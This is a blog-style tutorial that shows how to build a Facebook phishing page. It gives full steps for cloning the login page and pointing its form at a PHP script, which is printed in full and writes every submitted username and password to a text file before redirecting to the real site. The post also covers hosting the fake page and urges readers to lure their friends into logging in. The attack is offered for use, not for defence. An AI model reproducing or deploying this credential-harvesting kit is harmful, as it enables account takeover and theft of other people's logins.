Facebook Phisher
My readers use to ask how to hack Facebook accounts. Most of the people
curious to know how hackers take control of their accounts. In this
post, let me clarify those doubts.
Here, i am going to explain one of the popular social engineering
attack(luring user into do whatever you asked to do.), called "
phishing" .
Phishing is one of the popular hacking technique used by hackers to lure victims into giving their login credentials.
Phishing WebPage:
Phishing webpage is a fake webpage of the target website that helps
hackers to lure the victim into believe that they are visiting the
legitimate website.
Let me explain how to create a facebook phishing page.
Step 1:
To make a fake page of the target website , You can simply the source
code of the website and save as html page. In our case , it is
facebook. Go to facebook and right click on website . Select "View
source" and copy the code to notepad.
Step2:
Now search (Press ctrl +f) for keyword "action" in that code.
You fill find the code like this:
Here, let me explain what "action" means to. If you have some basic
knowledge of web applications, then you already know about that.
'Action' is a HTML attribute that specifies where to send the form-data
when a form(In our case, login-form) is submitted.
In the above code, the action attribute has the value that points to
facebook login php file (https://login.facebook.com/login.php). So when
a user click the login button, it will send the data to the login.php
page. This php file will check whether the entered password is valid or
not .
To capture the form-data, we have to change the action value to our php
file. So let us change the value to ' action="login.php" '. Note: I've
removed ' http://login.facebook.com/' from the value.
Save the file as index.html.
Step 3:
Now , let us create our own login.php file that will capture the entered data and redirects to original facebook page.
Open the notepad and type the following code:
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
save this file as "login.php"
Step 4:
Open the notepad and just save the file as "pswrds.txt" (without any contents).
Step 5:
To host your phishing page, you may need a webhosting. You can create a
free account in free web hosting providers. Once you have created
account in free hosting site, you can host your files and run. Also,
your files can be viewed by visiting a specific URL provided when you
create account. For example : 'your_url_name.webhosting_domain.com'.
Now upload those files(index.html,login.php,pswrds.txt) in the free
Web hosting site. Make sure your fake page is working or not by vising your url.
Now , You have to lure your friends into login into your phishing page.
Once they login into the page, you can see the login credentials being
stored in the "pswrds.txt" file.
